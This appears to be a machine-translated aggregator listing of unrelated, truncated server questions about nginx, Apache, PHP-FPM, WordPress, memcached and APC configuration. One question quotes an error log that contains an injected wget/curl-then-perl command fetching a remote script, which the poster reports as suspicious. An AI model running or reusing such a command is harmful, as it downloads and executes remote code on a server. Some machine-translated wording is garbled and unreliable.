使用log_format可以包含一系列variables,例如$ http_user_agent: http://nginx.org/en/docs/http/ngx_http_core_module.html#variables 但是有可能包含一个来自PHP-FPM的variables吗? 例如,我想在access_log包含login用户的ID。 一种可能性是在PHP中设置一个头文件,然后使用$ sent_http_XXX: log_format inc_info '… [$sent_http_x_user_id] …'; access_log /var/log/nginx/access.log inc_info; <?php header('X-User-ID: ' . head(USER_ID)); ?> 但是,这是有点不好意思(在向浏览器发送值的时候),如果在PHP中使用register_shutdown_function() (例如,如果要显示数据库处理时间),则不起作用,因为头文件已经发送。 这可以通过以下方式在Apache中完成: LogFormat "… [%{USER_ID}n] …" inc_info CustomLog /var/log/httpd/access_log inc_info 与相应的PHP: if (function_exists('apache_note')) { apache_note('USER_ID', USER_ID); }
我在这个docker容器的最新ubuntu上运行wordpress 4.0: https://github.com/eugeneware/docker-wordpress-nginx wordpress也运行在另一个nginx反向代理之后,但在wordpress上一切似乎都正常。 我试图用wp-discourse把它和一个工作的话语实例联系起来。 无论如何,它不工作,它有两种方式: 1)评论没有显示在post中,也链接被打破: http://it.servermeta.net/ciao-mi-chiamo-gio-ho-7-figli-una-pentola/ 2)论坛post没有创build。 我发现的唯一有意义的错误是: 2014/09/17 22:57:42 [error] 428#0: *1038 FastCGI sent in stderr: "PHP message: PHP Warning: First parameter must either be an object or the name of an existing class in /usr/share/nginx/www/wp-content/plugins/wp-discourse-master/wp-discourse.php on line 410 PHP message: PHP Warning: file_get_contents(/wordpress.json?best=5&min_trust_level=1&min_score=30&min_replies=5&bypass_trust_level_score=50): failed to open stream: No such file or […]
我的.htaccess: SetEnv tvar "my value" RewriteEngine on RewriteRule .* – [E=boostpath:normal] 我的虚拟主机设置: AllowOverride All Options FollowSymLinks Require all granted ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9001/home/dir/public_html/www.site.com/$1 我的PHP文件: <?php putenv("foo=bar"); echo "<br><br>env"; echo getenv("foo"); #works, outputs bar echo "<br><br>env2"; echo getenv("tvar"); #doesn't work, empty echo getenv("REDIRECT_tvar"); #doesn't work, empty echo "<br><br>"; echo "<br><br>env3"; echo getenv("boostpath"); #doesn't work, empty echo getenv("REDIRECT_boostpath"); […]
我试图在同一个站点上testingHHVM和php-fpm,同时运行这两个。 但是我希望php-fpm只能在一个目录下工作,但是我觉得我没有把它做好 location ~ \.(hh|php)$ { fastcgi_pass 127.0.0.1:9000; # or if you used a unix socket # fastcgi_pass unix:/var/run/hhvm/hhvm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } location /checkout { fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } 进入/结帐时,我找不到一个文件 Nginx错误: FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream […]
我为用户“bob”设置了一个chroot监狱。 bob位于/ var / jails / bob Bob有一个位于/var/jails/bob/bobssite.com/public_html的网站 一切似乎工作到目前为止,包括这一事实,该进程是与鲍勃的uid运行(检查与PHP“exec('whoami')),也就是说,直到我设置在php5-fpmconfiguration文件中的bob的站点chroot /etc/php5/fpm/pool.d/bobssite.com.conf): [bobssite.com] ; Per pool prefix ; It only applies on the following directives: ; – 'slowlog' ; – 'listen' (unixsocket) ; – 'chroot' ; – 'chdir' ; – 'php_values' ; – 'php_admin_values' ; When not set, the global prefix (or /usr) applies instead. ; Note: […]
我一直在使用这个服务器configuration的WordPress,这在我的本地机器上效果很好: server { server_name example.example root /home/user/sites/example/example/html; index index.php index.html index.htm; access_log off; error_log /home/user/log/error.log; location / { try_files $uri $uri/ /index.php?q=$uri&$args; } location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 现在我还有其他的wordpress安装,所以我读了通配符和子域名,并尝试这样的: server { server_name ~^(.*)\.example; root /home/user/sites/example/$1/html; index index.php index.html index.htm; access_log off; error_log […]
我有PHP Memcached运行我有二进制打开(memcached过程和PHP)我使用Memcached :: setSaslAuthData使用Ubuntu 14.04 SASL启用我只是不断得到: mech:具有46个字节的数据SASL(严重性2)的“PLAIN”:密码validation失败sasl结果代码:-20未知的sasl响应:-20 从我理解的这意味着SASL_NO_USR我已经在sasldb2中创build了用户运行memcached进程的用户具有对/ etc / sasldb2的读/写权限当我运行sudo sasldblistusers2 -f / etc / sasldb2命令时,用户被列出。 问题:如何正确排除/修复上面的密码validation失败。
我有(好)一个有nginx的工作服务器在船上。 一个服务器(专用)仅用于托pipe一个drupal站点。 最近我们决定在这个店铺上一个magento商店,并开始准备。 由于magento和nginx不能一起工作,我们不得不将nginx升级到最新版本。 一切似乎都很好。 昨天我已经安装了php5-curl(这是由magento reguired)和..事情变糟糕。 (尽pipe在curl.ini中注释掉一行并不能解决任何问题) 每次尝试访问一个PHP网站(Drupal或Mgento或自定义脚本结束于: 504网关超时 所以我已经开始谷歌,从主题的负载,随之而来的一堆build议,但似乎没有任何工作。 当我尝试修改nginx设置(例如添加: location ~ \.php$ { try_files $uri =404; include /etc/nginx/fastcgi_params; fastcgi_read_timeout 300; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_nam$ } 504错误更改为 502错误的网关 和nginx错误日志:504错误: 2014/11/20 13:17:56 [错误] 20800#0:* 27上行超时(110:连接计时结束),从上游读取响应头,client:…,serve r:www。(。 …),请求:“GET(..)/ HTTP / 1.1”,上游:“fastcgi://127.0.0.1:9000”,主机:“…” 对于502错误: (…),服务器r:(…),请求:“GET(…)(…) )HTTP / 1.1“,上游:”fa stcgi://127.0.0.1:9000“,主机:”(…)“ additionally netstat shows this: root@ns394907:/etc/nginx# netstat | […]
我在我的Web服务器上使用Apache和PHP-FPM。 当用户input一些Apache传递给proxy-fcgi的随机path名,并且找不到文件时,错误日志中将logging一个标准错误: AH01071: Got error 'Primary script unknown\n' 但是,在某些情况下,我从我的网站的一个随机页面中获得一大块HTML,如下所示: AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na….. 所以: AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td…. 我真的很担心,今天看到这样的事情: AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de…. 我认为这是一个cookie值散布在随机的HTML块。 有没有人遇到过这种现象? 可以做些什么来阻止随机的HTML和cookie被附加到错误消息?
我使用APCcaching(通过W3 Total Cache插件)通过nginx / PHP5-FPM提供Wordpress页面。 Nginx通过端口9000上的TCP套接字与PHP-FPM进行通信。我已经通过sysctl调整了最大连接数为1024.我已经将max_execution_time(在php.ini中)和request_terminate_timeout(在FPM conf文件中)设置为30秒。 时不时地(每隔8-10个小时,而不是线性地),端口9000上的开放TCP连接数量增长到接近1000(主要是CLOSE_WAIT状态,一些FIN_WAIT,FIN_WAIT_2),有时会超过1000,并且我的Web服务器启动返回504错误。 一旦我终止该端口上的所有TCP连接并重新启动FPM,它就会再次正常工作。 我启用了缓慢的日志,看看发生了什么,如果我正确地阅读它,它挂在apc_store()调用。 这是一个APCconfiguration错误,还是我需要调整与FPM设置? 有没有办法强制这些TCP连接终止,即使脚本不发送最终的终止信号? 来自FPM慢日志的示例跟踪: [22-Jan-2015 09:42:49] [pool www] pid 20327 script_filename = /var/www/index.php [0x00007fdc527ec908] apc_store() /var/www/wp-content/plugins/w3-total-cache/lib/W3/Cache/Apc.php:55 [0x00007fdc527ec768] set() /var/www/wp-content/plugins/w3-total-cache/lib/W3/ObjectCache.php:254 [0x00007fdc527ec5e0] set() /var/www/wp-content/plugins/w3-total-cache/lib/W3/ObjectCache.php:300 [0x00007fdc527ec488] add() /var/www/wp-content/plugins/w3-total-cache/lib/W3/ObjectCacheBridge.php:73 [0x00007fdc527ec330] add() /var/www/wp-content/object-cache.php:94 [0x00007fdc527ec200] wp_cache_add() /var/www/wp-includes/option.php:176 [0x00007fdc527ec078] wp_load_alloptions() /var/www/wp-includes/functions.php:1272 [0x00007fdc527ebf40] is_blog_installed() /var/www/wp-includes/load.php:474 [0x00007fdc527ebdb0] wp_not_installed() /var/www/wp-settings.php:109 [0x00007fdc527ebc88] +++ dump failed